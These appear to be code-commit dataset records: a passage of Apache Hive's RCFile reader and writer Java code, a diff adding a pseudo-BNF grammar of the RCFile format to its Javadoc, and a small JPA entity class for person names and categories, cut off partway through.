deflateOut.write(columnValue.getData(), 0, columnValue.getLength());
deflateOut.flush();
deflateFilter.finish();
// find how much compressed data was added for this column
colLen = valueBuffer.getLength() - valueLength;
} else {
colLen = columnValuePlainLength[columnIndex];
}
valueLength += colLen;
key.setColumnLenInfo(colLen, currentBuf.valLenBuffer, plainLen,
columnIndex);
plainTotalColumnLength[columnIndex] += plainLen;
comprTotalColumnLength[columnIndex] += colLen;
columnValuePlainLength[columnIndex] = 0;
}
int keyLength = key.getSize();
if (keyLength < 0) {
throw new IOException("negative length keys not allowed: " + key);
}
if (compressor != null) {
CodecPool.returnCompressor(compressor);
}
// Write the key out
writeKey(key, keyLength + valueLength, keyLength);
// write the value out
if (isCompressed) {
out.write(valueBuffer.getData(), 0, valueBuffer.getLength());
} else {
for(int columnIndex=0; columnIndex < columnNumber; ++columnIndex) {
NonSyncDataOutputBuffer buf =
columnBuffers[columnIndex].columnValBuffer;
out.write(buf.getData(), 0, buf.getLength());
}
}
// clear the columnBuffers
clearColumnBuffers();
bufferedRecords = 0;
columnBufferSize = 0;
}
/**
* flush a block out without doing anything except compressing the key part.
*/
public void flushBlock(KeyBuffer keyBuffer, ValueBuffer valueBuffer,
int recordLen, int keyLength,
@SuppressWarnings("unused") int compressedKeyLen) throws IOException {
writeKey(keyBuffer, recordLen, keyLength);
valueBuffer.write(out);
}
private void writeKey(KeyBuffer keyBuffer, int recordLen,
int keyLength) throws IOException {
checkAndWriteSync(); // sync
out.writeInt(recordLen); // total record length
out.writeInt(keyLength); // key portion length
if(this.isCompressed()) {
Compressor compressor = CodecPool.getCompressor(codec);
NonSyncDataOutputBuffer compressionBuffer =
new NonSyncDataOutputBuffer();
CompressionOutputStream deflateFilter =
codec.createOutputStream(compressionBuffer, compressor);
DataOutputStream deflateOut = new DataOutputStream(deflateFilter);
//compress key and write key out
compressionBuffer.reset();
deflateFilter.resetState();
keyBuffer.write(deflateOut);
deflateOut.flush();
deflateFilter.finish();
int compressedKeyLen = compressionBuffer.getLength();
out.writeInt(compressedKeyLen);
out.write(compressionBuffer.getData(), 0, compressedKeyLen);
CodecPool.returnCompressor(compressor);
} else {
out.writeInt(keyLength);
keyBuffer.write(out);
}
}
private void clearColumnBuffers() throws IOException {
for (int i = 0; i < columnNumber; i++) {
columnBuffers[i].clear();
}
}
public synchronized void close() throws IOException {
if (bufferedRecords > 0) {
flushRecords();
}
clearColumnBuffers();
if (out != null) {
// Close the underlying stream if we own it...
out.flush();
out.close();
out = null;
}
for (int i = 0; i < columnNumber; i++) {
LOG.info("Column#" + i + " : Plain Total Column Value Length: "
+ plainTotalColumnLength[i]
+ ", Compr Total Column Value Length: " + comprTotalColumnLength[i]);
}
}
}
/**
* Read KeyBuffer/ValueBuffer pairs from a RCFile.
*
*/
public static class Reader {
private static class SelectedColumn {
public int colIndex;
public int rowReadIndex;
public int runLength;
public int prvLength;
public boolean isNulled;
}
private final Path file;
private final FSDataInputStream in;
private byte version;
private CompressionCodec codec = null;
private Metadata metadata = null;
private final byte[] sync = new byte[SYNC_HASH_SIZE];
private final byte[] syncCheck = new byte[SYNC_HASH_SIZE];
private boolean syncSeen;
private long lastSeenSyncPos = 0;
private long headerEnd;
private final long end;
private int currentKeyLength;
private int currentRecordLength;
private final Configuration conf;
private final ValueBuffer currentValue;
private int readRowsIndexInBuffer = 0;
private int recordsNumInValBuffer = 0;
private int columnNumber = 0;
private int loadColumnNum;
private int passedRowsNum = 0;
// Should we try to tolerate corruption? Default is No.
private boolean tolerateCorruptions = false;
private boolean decompress = false;
private Decompressor keyDecompressor;
NonSyncDataOutputBuffer keyDecompressedData = new NonSyncDataOutputBuffer();
//Current state of each selected column - e.g. current run length, etc.
// The size of the array is equal to the number of selected columns
private final SelectedColumn[] selectedColumns;
// map of original column id -> index among selected columns
private final int[] revPrjColIDs;
// column value lengths for each of the selected columns
private final NonSyncDataInputBuffer[] colValLenBufferReadIn;
/** Create a new RCFile reader. */
public Reader(FileSystem fs, Path file, Configuration conf) throws IOException {
this(fs, file, conf.getInt("io.file.buffer.size", 4096), conf, 0, fs
.getFileStatus(file).getLen());
}
/** Create a new RCFile reader. */
public Reader(FileSystem fs, Path file, int bufferSize, Configuration conf,
long start, long length) throws IOException {
tolerateCorruptions = conf.getBoolean(
TOLERATE_CORRUPTIONS_CONF_STR, false);
conf.setInt("io.file.buffer.size", bufferSize);
this.file = file;
in = openFile(fs, file, bufferSize, length);
this.conf = conf;
end = start + length;
boolean succeed = false;
try {
if (start > 0) {
seek(0);
init();
seek(start);
} else {
init();
}
succeed = true;
} finally {
if (!succeed) {
if (in != null) {
try {
in.close();
} catch(IOException e) {
if (LOG != null && LOG.isDebugEnabled()) {
LOG.debug("Exception in closing " + in, e);
}
}
}
}
}
columnNumber = Integer.parseInt(metadata.get(
new Text(COLUMN_NUMBER_METADATA_STR)).toString());
java.util.ArrayList<Integer> notSkipIDs = ColumnProjectionUtils
.getReadColumnIDs(conf);
boolean[] skippedColIDs = new boolean[columnNumber];
if (notSkipIDs.size() > 0) {
for (int i = 0; i < skippedColIDs.length; i++) {
skippedColIDs[i] = true;
}
for (int read : notSkipIDs) {
if (read < columnNumber) {
skippedColIDs[read] = false;
}
}
} else {
// TODO: if no column name is specified e.g, in select count(1) from tt;
// skip all columns, this should be distinguished from the case:
// select * from tt;
for (int i = 0; i < skippedColIDs.length; i++) {
skippedColIDs[i] = false;
}
}
loadColumnNum = columnNumber;
if (skippedColIDs.length > 0) {
for (boolean skippedColID : skippedColIDs) {
if (skippedColID) {
loadColumnNum -= 1;
}
}
}
revPrjColIDs = new int[columnNumber];
// get list of selected column IDs
selectedColumns = new SelectedColumn[loadColumnNum];
colValLenBufferReadIn = new NonSyncDataInputBuffer[loadColumnNum];
for (int i = 0, j = 0; i < columnNumber; ++i) {
if (!skippedColIDs[i]) {
SelectedColumn col = new SelectedColumn();
col.colIndex = i;
col.runLength = 0;
col.prvLength = -1;
col.rowReadIndex = 0;
selectedColumns[j] = col;
colValLenBufferReadIn[j] = new NonSyncDataInputBuffer();
revPrjColIDs[i] = j;
j++;
} else {
revPrjColIDs[i] = -1;
}
}
currentKey = createKeyBuffer();
boolean lazyDecompress = !tolerateCorruptions;
currentValue = new ValueBuffer(
null, columnNumber, skippedColIDs, codec, lazyDecompress);
}
/**
* Return the metadata (Text to Text map) that was written into the
* file.
*/
public Metadata getMetadata() {
return metadata;
}
/**
* Return the metadata value associated with the given key.
* @param key the metadata key to retrieve
*/
public Text getMetadataValueOf(Text key) {
return metadata.get(key);
}
/**
* Override this method to specialize the type of
* {@link FSDataInputStream} returned.
*/
protected FSDataInputStream openFile(FileSystem fs, Path file,
int bufferSize, long length) throws IOException {
return fs.open(file, bufferSize);
}
private void init() throws IOException {
byte[] magic = new byte[MAGIC.length];
in.readFully(magic);
if (Arrays.equals(magic, ORIGINAL_MAGIC)) {
byte vers = in.readByte();
if (vers != ORIGINAL_MAGIC_VERSION_WITH_METADATA) {
throw new IOException(file + " is a version " + vers +
" SequenceFile instead of an RCFile.");
}
version = ORIGINAL_VERSION;
} else {
if (!Arrays.equals(magic, MAGIC)) {
throw new IOException(file + " not a RCFile and has magic of " +
new String(magic));
}
// Set 'version'
version = in.readByte();
if (version > CURRENT_VERSION) {
throw new VersionMismatchException((byte) CURRENT_VERSION, version);
}
}
if (version == ORIGINAL_VERSION) {
try {
Class<?> keyCls = conf.getClassByName(Text.readString(in));
Class<?> valCls = conf.getClassByName(Text.readString(in));
if (!keyCls.equals(KeyBuffer.class)
|| !valCls.equals(ValueBuffer.class)) {
throw new IOException(file + " not a RCFile");
}
} catch (ClassNotFoundException e) {
throw new IOException(file + " not a RCFile", e);
}
}
decompress = in.readBoolean(); // is compressed?
if (version == ORIGINAL_VERSION) {
// is block-compressed? it should be always false.
boolean blkCompressed = in.readBoolean();
if (blkCompressed) {
throw new IOException(file + " not a RCFile.");
}
}
// setup the compression codec
if (decompress) {
String codecClassname = Text.readString(in);
try {
Class<? extends CompressionCodec> codecClass = conf.getClassByName(
codecClassname).asSubclass(CompressionCodec.class);
codec = ReflectionUtils.newInstance(codecClass, conf);
} catch (ClassNotFoundException cnfe) {
throw new IllegalArgumentException(
"Unknown codec: " + codecClassname, cnfe);
}
keyDecompressor = CodecPool.getDecompressor(codec);
}
metadata = new Metadata();
metadata.readFields(in);
in.readFully(sync); // read sync bytes
headerEnd = in.getPos();
}
/** Return the current byte position in the input file. */
public synchronized long getPosition() throws IOException {
return in.getPos();
}
/**
* Set the current byte position in the input file.
*
* <p>
* The position passed must be a position returned by
* {@link RCFile.Writer#getLength()} when writing this file. To seek to an
* arbitrary position, use {@link RCFile.Reader#sync(long)}. In another
* words, the current seek can only seek to the end of the file. For other
* positions, use {@link RCFile.Reader#sync(long)}.
*/
public synchronized void seek(long position) throws IOException {
in.seek(position);
}
/**
* Resets the values which determine if there are more rows in the buffer
*
* This can be used after one calls seek or sync, if one called next before that.
* Otherwise, the seek or sync will have no effect, it will continue to get rows from the
* buffer built up from the call to next.
*/
public synchronized void resetBuffer() {
readRowsIndexInBuffer = 0;
recordsNumInValBuffer = 0;
}
/** Seek to the next sync mark past a given position. */
public synchronized void sync(long position) throws IOException {
if (position + SYNC_SIZE >= end) {
seek(end);
return;
}
//this is to handle syn(pos) where pos < headerEnd.
if (position < headerEnd) {
// seek directly to first record
in.seek(headerEnd);
// note the sync marker "seen" in the header
syncSeen = true;
return;
}
try {
seek(position + 4); // skip escape
int prefix = sync.length;
int n = conf.getInt("io.bytes.per.checksum", 512);
byte[] buffer = new byte[prefix+n];
n = (int)Math.min(n, end - in.getPos());
/* fill array with a pattern that will never match sync */
Arrays.fill(buffer, (byte)(~sync[0]));
while(n > 0 && (in.getPos() + n) <= end) {
position = in.getPos();
in.readFully(buffer, prefix, n);
/* the buffer has n+sync bytes */
for(int i = 0; i < n; i++) {
int j;
for(j = 0; j < sync.length && sync[j] == buffer[i+j]; j++) {
/* nothing */
}
if(j == sync.length) {
/* simplified from (position + (i - prefix) + sync.length) - SYNC_SIZE */
in.seek(position + i - SYNC_SIZE);
return;
}
}
/* move the last 16 bytes to the prefix area */
System.arraycopy(buffer, buffer.length - prefix - 1, buffer, 0, prefix);
n = (int)Math.min(n, end - in.getPos());
}
} catch (ChecksumException e) { // checksum failure
handleChecksumException(e);
}
}
private void handleChecksumException(ChecksumException e) throws IOException {
if (conf.getBoolean("io.skip.checksum.errors", false)) {
LOG.warn("Bad checksum at " + getPosition() + ". Skipping entries.");
sync(getPosition() + conf.getInt("io.bytes.per.checksum", 512));
} else {
throw e;
}
}
private KeyBuffer createKeyBuffer() {
return new KeyBuffer(columnNumber);
}
/**
* Read and return the next record length, potentially skipping over a sync
* block.
*
* @return the length of the next record or -1 if there is no next record
* @throws IOException
*/
private synchronized int readRecordLength() throws IOException {
if (in.getPos() >= end) {
return -1;
}
int length = in.readInt();
if (sync != null && length == SYNC_ESCAPE) { // process
// a
// sync entry
lastSeenSyncPos = in.getPos() - 4; // minus SYNC_ESCAPE's length
in.readFully(syncCheck); // read syncCheck
if (!Arrays.equals(sync, syncCheck)) {
throw new IOException("File is corrupt!");
}
syncSeen = true;
if (in.getPos() >= end) {
return -1;
}
length = in.readInt(); // re-read length
} else {
syncSeen = false;
}
return length;
}
private void seekToNextKeyBuffer() throws IOException {
if (!keyInit) {
return;
}
if (!currentValue.inited) {
in.skip(currentRecordLength - currentKeyLength);
}
}
private int compressedKeyLen = 0;
NonSyncDataInputBuffer keyDataIn = new NonSyncDataInputBuffer();
NonSyncDataInputBuffer keyDecompressBuffer = new NonSyncDataInputBuffer();
NonSyncDataOutputBuffer keyTempBuffer = new NonSyncDataOutputBuffer();
KeyBuffer currentKey = null;
boolean keyInit = false;
protected int nextKeyBuffer() throws IOException {
seekToNextKeyBuffer();
currentRecordLength = readRecordLength();
if (currentRecordLength == -1) {
keyInit = false;
return -1;
}
currentKeyLength = in.readInt();
compressedKeyLen = in.readInt();
if (decompress) {
keyTempBuffer.reset();
keyTempBuffer.write(in, compressedKeyLen);
keyDecompressBuffer.reset(keyTempBuffer.getData(), compressedKeyLen);
CompressionInputStream deflatFilter = codec.createInputStream(
keyDecompressBuffer, keyDecompressor);
DataInputStream compressedIn = new DataInputStream(deflatFilter);
deflatFilter.resetState();
keyDecompressedData.reset();
keyDecompressedData.write(compressedIn, currentKeyLength);
keyDataIn.reset(keyDecompressedData.getData(), currentKeyLength);
currentKey.readFields(keyDataIn);
} else {
currentKey.readFields(in);
}
keyInit = true;
currentValue.inited = false;
readRowsIndexInBuffer = 0;
recordsNumInValBuffer = currentKey.numberRows;
for (int selIx = 0; selIx < selectedColumns.length; selIx++) {
SelectedColumn col = selectedColumns[selIx];
int colIx = col.colIndex;
NonSyncDataOutputBuffer buf = currentKey.allCellValLenBuffer[colIx];
colValLenBufferReadIn[selIx].reset(buf.getData(), buf.getLength());
col.rowReadIndex = 0;
col.runLength = 0;
col.prvLength = -1;
col.isNulled = colValLenBufferReadIn[selIx].getLength() == 0;
}
return currentKeyLength;
}
protected void currentValueBuffer() throws IOException {
if (!keyInit) {
nextKeyBuffer();
}
currentValue.keyBuffer = currentKey;
currentValue.clearColumnBuffer();
currentValue.readFields(in);
currentValue.inited = true;
}
public boolean nextBlock() throws IOException {
int keyLength = nextKeyBuffer();
if(keyLength > 0) {
currentValueBuffer();
return true;
}
return false;
}
private boolean rowFetched = false;
// use this buffer to hold column's cells value length for usages in
// getColumn(), instead of using colValLenBufferReadIn directly.
private final NonSyncDataInputBuffer fetchColumnTempBuf = new NonSyncDataInputBuffer();
/**
* Fetch all data in the buffer for a given column. This is useful for
* columnar operators, which perform operations on an array data of one
* column. It should be used together with {@link #nextColumnsBatch()}.
* Calling getColumn() with not change the result of
* {@link #next(LongWritable)} and
* {@link #getCurrentRow(BytesRefArrayWritable)}.
*
* @param columnID the number of the column to get 0 to N-1
* @throws IOException
*/
public BytesRefArrayWritable getColumn(int columnID,
BytesRefArrayWritable rest) throws IOException {
int selColIdx = revPrjColIDs[columnID];
if (selColIdx == -1) {
return null;
}
if (rest == null) {
rest = new BytesRefArrayWritable();
}
rest.resetValid(recordsNumInValBuffer);
if (!currentValue.inited) {
currentValueBuffer();
}
int columnNextRowStart = 0;
fetchColumnTempBuf.reset(currentKey.allCellValLenBuffer[columnID]
.getData(), currentKey.allCellValLenBuffer[columnID].getLength());
SelectedColumn selCol = selectedColumns[selColIdx];
byte[] uncompData = null;
ValueBuffer.LazyDecompressionCallbackImpl decompCallBack = null;
boolean decompressed = currentValue.decompressedFlag[selColIdx];
if (decompressed) {
uncompData =
currentValue.loadedColumnsValueBuffer[selColIdx].getData();
} else {
decompCallBack = currentValue.lazyDecompressCallbackObjs[selColIdx];
}
for (int i = 0; i < recordsNumInValBuffer; i++) {
colAdvanceRow(selColIdx, selCol);
int length = selCol.prvLength;
BytesRefWritable currentCell = rest.get(i);
if (decompressed) {
currentCell.set(uncompData, columnNextRowStart, length);
} else {
currentCell.set(decompCallBack, columnNextRowStart, length);
}
columnNextRowStart = columnNextRowStart + length;
}
return rest;
}
/**
* Read in next key buffer and throw any data in current key buffer and
* current value buffer. It will influence the result of
* {@link #next(LongWritable)} and
* {@link #getCurrentRow(BytesRefArrayWritable)}
*
* @return whether there still has records or not
* @throws IOException
*/
@SuppressWarnings("unused")
@Deprecated
public synchronized boolean nextColumnsBatch() throws IOException {
passedRowsNum += (recordsNumInValBuffer - readRowsIndexInBuffer);
return nextKeyBuffer() > 0;
}
/**
* Returns how many rows we fetched with next(). It only means how many rows
* are read by next(). The returned result may be smaller than actual number
* of rows passed by, because {@link #seek(long)},
* {@link #nextColumnsBatch()} can change the underlying key buffer and
* value buffer.
*
* @return next row number
* @throws IOException
*/
public synchronized boolean next(LongWritable readRows) throws IOException {
if (hasRecordsInBuffer()) {
readRows.set(passedRowsNum);
readRowsIndexInBuffer++;
passedRowsNum++;
rowFetched = false;
return true;
} else {
keyInit = false;
}
int ret = -1;
if (tolerateCorruptions) {
ret = nextKeyValueTolerateCorruptions();
} else {
try {
ret = nextKeyBuffer();
} catch (EOFException eof) {
eof.printStackTrace();
}
}
return (ret > 0) && next(readRows);
}
private int nextKeyValueTolerateCorruptions() throws IOException {
long currentOffset = in.getPos();
int ret;
try {
ret = nextKeyBuffer();
this.currentValueBuffer();
} catch (IOException ioe) {
// A BlockMissingException indicates a temporary error,
// not a corruption. Re-throw this exception.
String msg = ioe.getMessage();
if (msg != null && msg.startsWith(BLOCK_MISSING_MESSAGE)) {
LOG.warn("Re-throwing block-missing exception" + ioe);
throw ioe;
}
// We have an IOException other than a BlockMissingException.
LOG.warn("Ignoring IOException in file " + file +
" after offset " + currentOffset, ioe);
ret = -1;
} catch (Throwable t) {
// We got an exception that is not IOException
// (typically OOM, IndexOutOfBounds, InternalError).
// This is most likely a corruption.
LOG.warn("Ignoring unknown error in " + file +
" after offset " + currentOffset, t);
ret = -1;
}
return ret;
}
public boolean hasRecordsInBuffer() {
return readRowsIndexInBuffer < recordsNumInValBuffer;
}
/**
* get the current row used,make sure called {@link #next(LongWritable)}
* first.
*
* @throws IOException
*/
public synchronized void getCurrentRow(BytesRefArrayWritable ret) throws IOException {
if (!keyInit || rowFetched) {
return;
}
if (tolerateCorruptions) {
if (!currentValue.inited) {
currentValueBuffer();
}
ret.resetValid(columnNumber);
} else {
if (!currentValue.inited) {
currentValueBuffer();
// do this only when not initialized, but we may need to find a way to
// tell the caller how to initialize the valid size
ret.resetValid(columnNumber);
}
}
// we do not use BytesWritable here to avoid the byte-copy from
// DataOutputStream to BytesWritable
if (currentValue.numCompressed > 0) {
for (int j = 0; j < selectedColumns.length; ++j) {
SelectedColumn col = selectedColumns[j];
int i = col.colIndex;
if (col.isNulled) {
ret.set(i, null);
} else {
BytesRefWritable ref = ret.unCheckedGet(i);
colAdvanceRow(j, col);
if (currentValue.decompressedFlag[j]) {
ref.set(currentValue.loadedColumnsValueBuffer[j].getData(),
col.rowReadIndex, col.prvLength);
} else {
ref.set(currentValue.lazyDecompressCallbackObjs[j],
col.rowReadIndex, col.prvLength);
}
col.rowReadIndex += col.prvLength;
}
}
} else {
// This version of the loop eliminates a condition check and branch
// and is measurably faster (20% or so)
for (int j = 0; j < selectedColumns.length; ++j) {
SelectedColumn col = selectedColumns[j];
int i = col.colIndex;
if (col.isNulled) {
ret.set(i, null);
} else {
BytesRefWritable ref = ret.unCheckedGet(i);
colAdvanceRow(j, col);
ref.set(currentValue.loadedColumnsValueBuffer[j].getData(),
col.rowReadIndex, col.prvLength);
col.rowReadIndex += col.prvLength;
}
}
}
rowFetched = true;
}
/**
* Advance column state to the next now: update offsets, run lengths etc
* @param selCol - index among selectedColumns
* @param col - column object to update the state of. prvLength will be
* set to the new read position
* @throws IOException
*/
private void colAdvanceRow(int selCol, SelectedColumn col) throws IOException {
if (col.runLength > 0) {
--col.runLength;
} else {
int length = (int) WritableUtils.readVLong(colValLenBufferReadIn[selCol]);
if (length < 0) {
// we reach a runlength here, use the previous length and reset
// runlength
col.runLength = (~length) - 1;
} else {
col.prvLength = length;
col.runLength = 0;
}
}
}
/** Returns true iff the previous call to next passed a sync mark. */
@SuppressWarnings("unused")
public boolean syncSeen() {
return syncSeen;
}
/** Returns the last seen sync position. */
public long lastSeenSyncPos() {
return lastSeenSyncPos;
}
/** Returns the name of the file. */
@Override
public String toString() {
return file.toString();
}
@SuppressWarnings("unused")
public boolean isCompressedRCFile() {
return this.decompress;
}
/** Close the reader. */
public void close() {
IOUtils.closeStream(in);
currentValue.close();
if (decompress) {
IOUtils.closeStream(keyDecompressedData);
if (keyDecompressor != null) {
// Make sure we only return keyDecompressor once.
CodecPool.returnDecompressor(keyDecompressor);
keyDecompressor = null;
}
}
}
/**
* return the KeyBuffer object used in the reader. Internally in each
* reader, there is only one KeyBuffer object, which gets reused for every
* block.
*/
public KeyBuffer getCurrentKeyBufferObj() {
return this.currentKey;
}
/**
* return the ValueBuffer object used in the reader. Internally in each
* reader, there is only one ValueBuffer object, which gets reused for every
* block.
*/
public ValueBuffer getCurrentValueBufferObj() {
return this.currentValue;
}
//return the current block's length
public int getCurrentBlockLength() {
return this.currentRecordLength;
}
//return the current block's key length
public int getCurrentKeyLength() {
return this.currentKeyLength;
}
//return the current block's compressed key length
public int getCurrentCompressedKeyLen() {
return this.compressedKeyLen;
}
//return the CompressionCodec used for this file
public CompressionCodec getCompressionCodec() {
return this.codec;
}
}
}
| HIVE-3957. Add pseudo-BNF grammar for RCFile to Javadoc (Mark Grover via cws)
git-svn-id: c2303eb81cb646bce052f55f7f0d14f181a5956c@1479685 13f79535-47bb-0310-9956-ffa450edef68
| ql/src/java/org/apache/hadoop/hive/ql/io/RCFile.java | HIVE-3957. Add pseudo-BNF grammar for RCFile to Javadoc (Mark Grover via cws) | <ide><path>l/src/java/org/apache/hadoop/hive/ql/io/RCFile.java
<ide> * </ul>
<ide> * </li>
<ide> * </ul>
<del> *
<add> * <p>
<add> * <pre>
<add> * {@code
<add> * The following is a pseudo-BNF grammar for RCFile. Comments are prefixed
<add> * with dashes:
<add> *
<add> * rcfile ::=
<add> * <file-header>
<add> * <rcfile-rowgroup>+
<add> *
<add> * file-header ::=
<add> * <file-version-header>
<add> * <file-key-class-name> (only exists if version is seq6)
<add> * <file-value-class-name> (only exists if version is seq6)
<add> * <file-is-compressed>
<add> * <file-is-block-compressed> (only exists if version is seq6)
<add> * [<file-compression-codec-class>]
<add> * <file-header-metadata>
<add> * <file-sync-field>
<add> *
<add> * -- The normative RCFile implementation included with Hive is actually
<add> * -- based on a modified version of Hadoop's SequenceFile code. Some
<add> * -- things which should have been modified were not, including the code
<add> * -- that writes out the file version header. Consequently, RCFile and
<add> * -- SequenceFile originally shared the same version header. A newer
<add> * -- release has created a unique version string.
<add> *
<add> * file-version-header ::= Byte[4] {'S', 'E', 'Q', 6}
<add> * | Byte[4] {'R', 'C', 'F', 1}
<add> *
<add> * -- The name of the Java class responsible for reading the key buffer
<add> * -- component of the rowgroup.
<add> *
<add> * file-key-class-name ::=
<add> * Text {"org.apache.hadoop.hive.ql.io.RCFile$KeyBuffer"}
<add> *
<add> * -- The name of the Java class responsible for reading the value buffer
<add> * -- component of the rowgroup.
<add> *
<add> * file-value-class-name ::=
<add> * Text {"org.apache.hadoop.hive.ql.io.RCFile$ValueBuffer"}
<add> *
<add> * -- Boolean variable indicating whether or not the file uses compression
<add> * -- for the key and column buffer sections.
<add> *
<add> * file-is-compressed ::= Byte[1]
<add> *
<add> * -- A boolean field indicating whether or not the file is block compressed.
<add> * -- This field is *always* false. According to comments in the original
<add> * -- RCFile implementation this field was retained for backwards
<add> * -- compatability with the SequenceFile format.
<add> *
<add> * file-is-block-compressed ::= Byte[1] {false}
<add> *
<add> * -- The Java class name of the compression codec iff <file-is-compressed>
<add> * -- is true. The named class must implement
<add> * -- org.apache.hadoop.io.compress.CompressionCodec.
<add> * -- The expected value is org.apache.hadoop.io.compress.GzipCodec.
<add> *
<add> * file-compression-codec-class ::= Text
<add> *
<add> * -- A collection of key-value pairs defining metadata values for the
<add> * -- file. The Map is serialized using standard JDK serialization, i.e.
<add> * -- an Int corresponding to the number of key-value pairs, followed by
<add> * -- Text key and value pairs. The following metadata properties are
<add> * -- mandatory for all RCFiles:
<add> * --
<add> * -- hive.io.rcfile.column.number: the number of columns in the RCFile
<add> *
<add> * file-header-metadata ::= Map<Text, Text>
<add> *
<add> * -- A 16 byte marker that is generated by the writer. This marker appears
<add> * -- at regular intervals at the beginning of rowgroup-headers, and is
<add> * -- intended to enable readers to skip over corrupted rowgroups.
<add> *
<add> * file-sync-hash ::= Byte[16]
<add> *
<add> * -- Each row group is split into three sections: a header, a set of
<add> * -- key buffers, and a set of column buffers. The header section includes
<add> * -- an optional sync hash, information about the size of the row group, and
<add> * -- the total number of rows in the row group. Each key buffer
<add> * -- consists of run-length encoding data which is used to decode
<add> * -- the length and offsets of individual fields in the corresponding column
<add> * -- buffer.
<add> *
<add> * rcfile-rowgroup ::=
<add> * <rowgroup-header>
<add> * <rowgroup-key-data>
<add> * <rowgroup-column-buffers>
<add> *
<add> * rowgroup-header ::=
<add> * [<rowgroup-sync-marker>, <rowgroup-sync-hash>]
<add> * <rowgroup-record-length>
<add> * <rowgroup-key-length>
<add> * <rowgroup-compressed-key-length>
<add> *
<add> * -- rowgroup-key-data is compressed if the column data is compressed.
<add> * rowgroup-key-data ::=
<add> * <rowgroup-num-rows>
<add> * <rowgroup-key-buffers>
<add> *
<add> * -- An integer (always -1) signaling the beginning of a sync-hash
<add> * -- field.
<add> *
<add> * rowgroup-sync-marker ::= Int
<add> *
<add> * -- A 16 byte sync field. This must match the <file-sync-hash> value read
<add> * -- in the file header.
<add> *
<add> * rowgroup-sync-hash ::= Byte[16]
<add> *
<add> * -- The record-length is the sum of the number of bytes used to store
<add> * -- the key and column parts, i.e. it is the total length of the current
<add> * -- rowgroup.
<add> *
<add> * rowgroup-record-length ::= Int
<add> *
<add> * -- Total length in bytes of the rowgroup's key sections.
<add> *
<add> * rowgroup-key-length ::= Int
<add> *
<add> * -- Total compressed length in bytes of the rowgroup's key sections.
<add> *
<add> * rowgroup-compressed-key-length ::= Int
<add> *
<add> * -- Number of rows in the current rowgroup.
<add> *
<add> * rowgroup-num-rows ::= VInt
<add> *
<add> * -- One or more column key buffers corresponding to each column
<add> * -- in the RCFile.
<add> *
<add> * rowgroup-key-buffers ::= <rowgroup-key-buffer>+
<add> *
<add> * -- Data in each column buffer is stored using a run-length
<add> * -- encoding scheme that is intended to reduce the cost of
<add> * -- repeated column field values. This mechanism is described
<add> * -- in more detail in the following entries.
<add> *
<add> * rowgroup-key-buffer ::=
<add> * <column-buffer-length>
<add> * <column-buffer-uncompressed-length>
<add> * <column-key-buffer-length>
<add> * <column-key-buffer>
<add> *
<add> * -- The serialized length on disk of the corresponding column buffer.
<add> *
<add> * column-buffer-length ::= VInt
<add> *
<add> * -- The uncompressed length of the corresponding column buffer. This
<add> * -- is equivalent to column-buffer-length if the RCFile is not compressed.
<add> *
<add> * column-buffer-uncompressed-length ::= VInt
<add> *
<add> * -- The length in bytes of the current column key buffer
<add> *
<add> * column-key-buffer-length ::= VInt
<add> *
<add> * -- The column-key-buffer contains a sequence of serialized VInt values
<add> * -- corresponding to the byte lengths of the serialized column fields
<add> * -- in the corresponding rowgroup-column-buffer. For example, consider
<add> * -- an integer column that contains the consecutive values 1, 2, 3, 44.
<add> * -- The RCFile format stores these values as strings in the column buffer,
<add> * -- e.g. "12344". The length of each column field is recorded in
<add> * -- the column-key-buffer as a sequence of VInts: 1,1,1,2. However,
<add> * -- if the same length occurs repeatedly, then we replace repeated
<add> * -- run lengths with the complement (i.e. negative) of the number of
<add> * -- repetitions, so 1,1,1,2 becomes 1,~2,2.
<add> *
<add> * column-key-buffer ::= Byte[column-key-buffer-length]
<add> *
<add> * rowgroup-column-buffers ::= <rowgroup-value-buffer>+
<add> *
<add> * -- RCFile stores all column data as strings regardless of the
<add> * -- underlying column type. The strings are neither length-prefixed or
<add> * -- null-terminated, and decoding them into individual fields requires
<add> * -- the use of the run-length information contained in the corresponding
<add> * -- column-key-buffer.
<add> *
<add> * rowgroup-column-buffer ::= Byte[column-buffer-length]
<add> *
<add> * Byte ::= An eight-bit byte
<add> *
<add> * VInt ::= Variable length integer. The high-order bit of each byte
<add> * indicates whether more bytes remain to be read. The low-order seven
<add> * bits are appended as increasingly more significant bits in the
<add> * resulting integer value.
<add> *
<add> * Int ::= A four-byte integer in big-endian format.
<add> *
<add> * Text ::= VInt, Chars (Length prefixed UTF-8 characters)
<add> * }
<add> * </pre>
<add> * </p>
<ide> */
<ide> public class RCFile {
<ide> |
|
Java | apache-2.0 | 5323de2945aeb57008642c2eeb795e31a9c7f730 | 0 | AjabShahar/Ajab-Shahar-TW,AjabShahar/Ajab-Shahar-TW,AjabShahar/Ajab-Shahar-TW,AjabShahar/Ajab-Shahar-TW,AjabShahar/Ajab-Shahar-TW | package org.ajabshahar.platform.models;
import com.google.common.base.Strings;
import javax.persistence.*;
import java.util.Set;
import static java.lang.String.format;
@Entity
@Table(name = "PERSON")
@NamedQueries({
@NamedQuery(
name = "org.ajabshahar.platform.models.PersonDetails.findAll",
query = "SELECT p FROM PersonDetails p"
)
})
public class PersonDetails {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private long id;
@Column(name = "FIRST_NAME", nullable = false)
private String firstName;
@Column(name = "MIDDLE_NAME", nullable = true)
private String middleName;
@Column(name = "LAST_NAME", nullable = true)
private String lastName;
@OneToMany(fetch = FetchType.EAGER)
@JoinTable(name = "person_category", joinColumns = @JoinColumn(name = "person_id"),
inverseJoinColumns = @JoinColumn(name = "category_id"))
private Set<Category> category;
public String getFirstName() {
return firstName;
}
public void setFirstName(String firstName) {
this.firstName = firstName;
}
public String getMiddleName() {
return middleName;
}
public void setMiddleName(String middleName) {
this.middleName = middleName;
}
public String getLastName() {
return lastName;
}
public void setLastName(String lastName) {
this.lastName = lastName;
}
public long getId() {
return id;
}
public void setId(long id) {
this.id = id;
}
public String getName() {
return format("%s %2s %3s", Strings.nullToEmpty(getFirstName()), Strings.nullToEmpty(getMiddleName()), Strings.nullToEmpty(getLastName())).replaceAll("\\s+", " ").trim();
}
public Set<Category> getCategory() {
return category;
}
public void setCategory(Set<Category> category) {
this.category = category;
}
} | src/main/java/org/ajabshahar/platform/models/PersonDetails.java | package org.ajabshahar.platform.models;
import com.google.common.base.Strings;
import javax.persistence.*;
import java.util.Set;
import static java.lang.String.format;
@Entity
@Table(name = "PERSON")
@NamedQueries({
@NamedQuery(
name = "org.ajabshahar.platform.models.PersonDetails.findAll",
